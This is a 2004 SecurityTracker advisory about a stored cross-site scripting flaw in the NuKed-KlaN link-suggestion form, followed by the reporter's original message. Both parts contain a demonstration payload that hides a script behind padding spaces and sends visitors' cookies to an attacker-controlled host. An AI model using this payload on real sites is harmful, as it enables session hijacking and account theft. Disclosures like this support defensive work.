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Category:   Application (Forum/Board/Portal)  >   NuKed-KlaN Vendors:   nuked-klan.org
NuKed-KlaN Input Validation Hole in Web Site Links Permits Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1012305
SecurityTracker URL:  http://securitytracker.com/id/1012305
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 23 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  

Description:   XioNoX reported an input validation vulnerability in NuKed-KlaN. A remote user can conduct cross-site scripting attacks.

It is reported that a remote user can send a specially crafted web site link to the administrator for approval (using 'index.php?file=Suggest&module=Links'). If the administrator validates the link and a target user subsequently views the page where the link is posted, arbitrary scripting code will be executed by the target user's browser. The code will originate from the site running the NuKed-KlaN software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

If a large number of space characters are inserted between the name of the web site and the malicious scripting code, the administrator will not see the scripting code when approving the link.

Some demonstration exploit contents are provided:

[Name of website] [a lot of espaces]
\'/>\"/><script></script><script>document.location=\'http://[attacker]/cookie.php?cookie=\'
+window.document.cookie;</script>

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the NuKed-KlaN software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.nuked-klan.org/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  XSS in Nuked-Clan


Hi,

When we submit a new link to the admin of a nuked-clan website (by :
http://www.site.com/index.php?file=Suggest&module=Links) ,  if we
write in the website name :


[Name of website]  [a lot of espaces]
\'/>\"/><script></script><script>document.location=\'http://www.hacker.com/cookie.php?cookie=\'
+window.document.cookie;</script>


When the admin receive the link, he don't see the bad code and
validate it. After, when we go on the category where this link is
posted, the script is executed.

No fix for the moment.

bye,
XioNoX
www.outretombe.tk
 
 


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